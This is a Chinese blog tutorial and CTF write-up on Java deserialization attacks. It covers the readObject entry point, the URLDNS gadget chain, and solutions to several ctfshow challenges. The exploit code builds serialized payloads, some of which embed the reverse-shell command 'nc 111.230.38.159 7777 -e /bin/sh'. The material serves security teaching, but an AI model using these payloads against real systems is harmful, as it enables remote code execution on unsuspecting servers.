什么是序列化
反序列化漏洞,其实在之前的python和php早就接触过了,但是其都没有java那么出名,java耳熟能详的漏洞好像基本都是java反序列化造成的。
java的序列化的目的其实和其他语言很相似都是为了远程传输对象,保存对象等。java的序列化会将一个对象处理成一段二进制的字符,这使得传输效率的提高和存储空间的下讲,对提升性能来说是非常重要的。下面我来演示一些序列化和反序列化的过程
序列化和反序列的代码实现
类person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import java.io.*;
public class person implements Serializable{ private String name; private int age;
public person(String name,int age){ this.name = name; this.age = age; } @Override public String toString(){ return "Person{" + "name = '" + name + '\'' + ",age = " + age + '}'; }
}
|
上面的类用重写了toString这样当我们使用System.out.println来输出类时就会输出改类的name和age俩个成员属性。
想要使一个类被序列化就需要完成接口Serializable。

我们可以发现这个接口其实时空的,所以我们不需要完成这个接口的任何方法。这个接口的目的其实是为了给我们的类上一个标记告诉JVM这个是可序列化的类而已
序列化类Ser.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.io.*; import java.util.DoubleSummaryStatistics;
public class Ser { public static void Serializ(Object obj) throws Exception{ FileOutputStream bos=new FileOutputStream("ser.bin"); ObjectOutputStream oos=new ObjectOutputStream(bos); oos.writeObject(obj); } public static void main(String[] args) throws Exception { person person = new person("LSE",19); Serializ(person); } }
|
上面的代码注意是利用oos.writeObject(obj);来向序列化后的内容写入一个对象的。我们将反序列化后的字符利用SerializationDumper来查看会发现

类的内容位于classAnnotations下。
反序列化UnSer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.io.FileInputStream; import java.io.ObjectInput; import java.io.ObjectInputStream;
public class UnSer { public static Object Unserializ(String Filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); return ois.readObject(); } public static void main(String[] args) throws Exception { Object person=Unserializ("ser.bin"); System.out.println(person); } }
|
反序列化是通过readObject()来进行的。
反序列化的过程
要想知道如何进行反序列攻击首先得了解原型反序列化的过程。
我们来下一个反序列化的断点来看看反序列化的过程。

再进入readObject后进一步调试会发现其进入了readObject0步入
方法的前半不部分是处理块数据的,不重要我们直接看其处理对象的过程

我们会发现其一个一个字节的进行读取,来读取其类描述符,再switch函数中不同的类描述符会进入不同的方法,因为我们传入的是个对象所以会进入TC_OBJECT中

进入了readOrdinaryObject方法里

再这个方法里我们会发现如上的判断,hasReadResolveMethod这个方法是用来判断传入的类是否有重写readObject的,如果重写了则直接调用invokeReadResolve这个方法来处理。我们进入invokeReadResolve

我们会发现其会判断其重写的readObject是否为空不为空则使用反射来调用这个方法
那么这时候我们就知道了,只要序列化的类中有重写readObject的,再反序列时就会调用这个类。说起来这个readObject就和php的__destruct很像
重写了的readObject就和__destruct
一样算是反序列漏洞的入口。
java反序列化的几种攻击方式
readObject下写用恶意代码
我们都知道了如果重写了readObject时再反序列调用时就会调用这个重写的readObject,那么如果再这个后端有这么一个类,其readObject下写有恶意代码那么是不是就可以进行攻击了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import java.io.*; import java.net.URL; import java.util.HashMap;
public class person implements Serializable{ private String name; private int age;
public person(String name,int age){ this.name = name; this.age = age; }
public String toString(){ return "Person{" + "name = '" + name + '\'' + ",age = " + age + '}'; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); }
}
|

反序列上面的类我们可以看到其确实弹了计算机,但是这个很无趣毕竟哪里会有开发者会再一个的类下重写一个readObject的内容是恶意代码呢。有我们也不大可能知道是哪一个类。
URLDNS
学习这个链我们先要知道一个工具就是
ysoserial
这个工具是Gabriel Lawrence (@gebl)和ChrisFrohoff (@frohoff)这两位提出利⽤Apache Commons Collections来构造命令执⾏的利⽤链的作者写的一个开源项目它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令
而URLDNS也是这所以链子里最简单的链子。
分析
这个链子并不能进行命令执行,其只能进行一个DNS的访问,但是因为其调用的类都是java的内置类无需其他依赖,这也就导致了其可以来探测是否存在java反序列漏洞。
我们都知道反序列化最重要的是入口,再php中入口是__destruct
而java就是readObject。而这条链的入口就是hashmap重写的readObject。我们先来看一下其构造的payload长什么样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import java.io.*; import java.lang.reflect.*; import java.net.URL; import java.util.Base64; import java.util.DoubleSummaryStatistics; import java.util.HashMap;
public class Ser { public static void Serializ(Object obj) throws Exception{ FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos=new ObjectOutputStream(fos); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>(); URL url = new URL("https://13e8d7e2-18e9-4d1b-bff3-7a6a8768d21d.challenge.ctf.show/"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); System.out.println(hashcodefield); hashcodefield.setAccessible(true); hashcodefield.set(url,123); hashmap.put(url,1); hashcodefield.set(url,-1); Serializ(hashmap); } }
|
我们可以看到payload中有HashMap这个类和URL这两个类。我们先分析HashMap

进入HashMap我们会发现其参数为Key和Value。因为我们主要要看的是readObject所以我们看一下这个方法

会发现其最后奖key传入了hash这个函数我们进入这个函数

我们会发现其执行了key.hashCode()。这个key的值可以为类。
我们再看URL

我们可以再URL类下找到hashCode这个方法,而这个方法下还有一个hashCode()我们步入这个方法

会发现其调用了getHostAddress(u);

再步入就会发现InetAddress.getByName(host),这个方法的作用是根据主机名得到ip,那么肯定会有一次访问。
那么就会有DNS记录。而其参数host,其实就是getHostAddress的参数u也就是hashCode的参数即this。
我们看一下这个类的构造方法

可以发现当我们传入单参数是其会直接将我们传入的参数载入。那么我们只要再实例化时传入URL即可
即这个链子其实就如下
1 2 3 4 5 6
| 1.HashMap->readObject() 2.HashMap->hash()->key.hashCode(); 3.URL->hashCode(); 4.URLStreamHandler->hashCode(); 5.URLStreamHandler->getHostAddress(u) 6.InetAddress->getByName(host)
|
可以发现这个链子很短。但是如果我们直接将URL传入hashmap如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import java.io.*; import java.lang.reflect.*; import java.net.URL; import java.util.Base64; import java.util.DoubleSummaryStatistics; import java.util.HashMap;
public class Ser { public static void Serializ(Object obj) throws Exception{ FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos=new ObjectOutputStream(fos); oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{ HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>(); URL url = new URL("https://13e8d7e2-18e9-4d1b-bff3-7a6a8768d21d.challenge.ctf.show/"); hashmap.put(url,1); Serializ(hashmap); } }
|
会发现其并不会如设想那样在反序列时进行请求,反而是当我们序列化时其发送了请求,而反序列时却没有进行请求。
问题1为什么序列化时会进行请求。
我们先来分析为什么在序列化时会发现请求
其主要是这个短代码的原因

我们可以发现HashMap的put这个方法也调用了hashcode这个方法这就导致其也会调用url.hashCode导致进行一次请求
问题2 为什么反序列化时没有进行请求
我们查看URL的hashCode会发现其进行了一次判断只有当hashCode这个成员属性为-1时才会继续执行,如果不为-1那么就不会进行请求。
而在执行后我们会发现hashCode被赋值为handler.hashCode(this);
而在我们序列化执行到hashmap.put时其进行了一次请求那么hashCode的值就不为-1了
这就是为什么反序列时无法成功进行DNS请求
解决方案
解决方法也很简单,我们使用之前学的反射来解决这个问题。
我们可以利用反射即getDeclaredField()方法来得到URL类的hashCode属性,然后利用反射来更改url实例对象的hashCode的值代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import java.io.*; import java.lang.reflect.*; import java.net.URL; import java.util.Base64; import java.util.DoubleSummaryStatistics; import java.util.HashMap;
public class Ser { public static void Serializ(Object obj) throws Exception{ FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos=new ObjectOutputStream(fos); oos.writeObject(obj); }
public static void main(String[] args) throws Exception{ HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>(); URL url = new URL("https://13e8d7e2-18e9-4d1b-bff3-7a6a8768d21d.challenge.ctf.show/"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); System.out.println(hashcodefield); hashcodefield.setAccessible(true); hashcodefield.set(url,123); hashmap.put(url,1); hashcodefield.set(url,-1); Serializ(hashmap); } }
|

题目
ctfshow web829
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package com.ctfshow.controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64;
@Controller @RequestMapping("/") public class IndexController {
@RequestMapping(value = "/",method = RequestMethod.POST) @ResponseBody public String index(HttpServletRequest request){ User user=null; try { byte[] userData = Base64.getDecoder().decode(request.getParameter("userData")); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData)); user = (User) objectInputStream.readObject(); }catch (Exception e){ return "base64 decode error"; }
return "unserialize done, you username is "+user.getName(); }
@RequestMapping(value = "/",method = RequestMethod.GET) @ResponseBody public String index(){ return "plz post parameter 'userData' to unserialize"; } }
------------------------------------------------
package com.ctfshow.controller;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = -3254536114659397781L; private String username;
public User(String username) { this.username = username; }
public String getName(){ return this.username; }
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.username); } }
|
我们看上面的代码可以知道这个是Springboot的代码
看一下/路由的逻辑可以知道其就是接收userData参数然后base64解码然后,将byte数组包装成比特输入流,然后再包装到Object输入流里,再通过readObject来反序列化
看一下User重新的readObject可以知道其里面直接exec执行了name的值。
直接序列化,name参数为反弹shell命令即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package com.ctfshow.controller;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64;
public class poc { public static void ser(Object obj) throws IOException { ByteOutputStream bos = new ByteOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); Base64.Encoder encoder = Base64.getEncoder(); String encoded = encoder.encodeToString(bos.toByteArray()); System.out.println(encoded); } public static void main(String[] args) throws IOException { Object user=new User("nc 111.230.38.159 7777 -e /bin/sh"); ser(user); }
}
|
注意再序列化时报名也需要和题目附件给出的一样,再反序列化中包名是用来定位置类的
web830
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| package com.ctfshow.controller;
import com.ctfshow.entity.User; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest; import java.io.ByteArrayInputStream; import java.io.FileInputStream; import java.io.ObjectInputStream; import java.util.Base64;
@Controller @RequestMapping("/") public class IndexController {
@RequestMapping(value = "/",method = RequestMethod.POST) @ResponseBody public String index(HttpServletRequest request){ User user=null; try { byte[] userData = Base64.getDecoder().decode(request.getParameter("userData")); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData)); user = (User) objectInputStream.readUnshared(); }catch (Exception e){ return "base64 decode error"; }
return "unserialize done, you username is "+user.getName(); }
@RequestMapping(value = "/",method = RequestMethod.GET) @ResponseBody public String index(){ return "plz post parameter 'userData' to unserialize"; } }
------------------------------------------------------------------------------\
package com.ctfshow.entity;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class BaseUser implements Serializable { private static final long serialVersionUID = -9058183616471264199L; public String secret=null;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.secret); }
} ------------------------------------------------------------ package com.ctfshow.entity;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class User extends BaseUser {
private String username;
public User(String username) { this.username = username; }
public String getName(){ return this.username; }
}
|
我们可以发现再反序列化的恶意类是再BaseUser下的而User是其子类
我们可以发再/下还是反序列化,但是以为反序列化后会将得到的类进行强制转换,如果无我们序列化的是User的父类,这会抛出异常,但是仍然可以成功反序列化所以有以下两种方法
因为子类会继承父类的所有Public,protected,和默认的(无修饰符)所以我们可以直接序列化User来进行命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.ctfshow.entity;
import com.fasterxml.jackson.databind.introspect.AccessorNamingStrategy; import com.sun.xml.internal.messaging.saaj.util.ByteInputStream; import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64;
public class exp { public static void ser(Object obj) throws IOException { ByteOutputStream bos=new ByteOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(bos); oos.writeObject(obj); byte[] by=bos.toByteArray(); Base64.Encoder encoder=Base64.getEncoder(); System.out.println(encoder.encodeToString(by)); } public static void main(String[] args) throws IOException { User obj=new User("aaaa"); obj.secret = "nc 111.230.38.159 7777 -e /bin/sh"; ser(obj);
} }
---------------------------------------------------------------------------------
package com.ctfshow.entity;
import com.fasterxml.jackson.databind.introspect.AccessorNamingStrategy; import com.sun.xml.internal.messaging.saaj.util.ByteInputStream; import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64;
public class exp { public static void ser(Object obj) throws IOException { ByteOutputStream bos=new ByteOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(bos); oos.writeObject(obj); byte[] by=bos.toByteArray(); Base64.Encoder encoder=Base64.getEncoder(); System.out.println(encoder.encodeToString(by)); } public static void main(String[] args) throws IOException { BaseUser obj=new BaseUser(); obj.secret = "nc 111.230.38.159 7777 -e /bin/sh"; ser(obj);
} }
|
web831
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com.ctfshow.util;
import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.io.ObjectStreamClass;
public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException { super(in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String[] className = desc.getName().split("\\."); if(className[className.length-1].equals("User")){ throw new ClassNotFoundException("ClassName Not Support!"); }else{ return super.resolveClass(desc); } }
} ```` 写了一个SafeObjectInputStream,禁用了User直接用BaseUser即可
## ctfshow web846 exp ```java import java.io.*; import java.lang.reflect.*; import java.net.URL; import java.util.Base64; import java.util.DoubleSummaryStatistics; import java.util.HashMap;
public class Ser { public static void Serializ(Object obj) throws Exception{ ByteArrayOutputStream bos=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(bos); oos.writeObject(obj); byte[] byteArray = bos.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String base64 = encoder.encodeToString(byteArray); System.out.println(base64); }
public static void main(String[] args) throws Exception{ person person = new person("aa",22); HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>(); URL url = new URL("https://76158ba6-2e62-456a-8da2-ee48a5f6cb58.challenge.ctf.show/"); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode"); System.out.println(hashcodefield); hashcodefield.setAccessible(true); hashcodefield.set(url,123); hashmap.put(url,1); hashcodefield.set(url,-1); Serializ(hashmap); } }
|
题目要求我们生成一个base编码的序列化字符让其反序列化,然后DNS请求题目的网站
我们使用URLDNS链
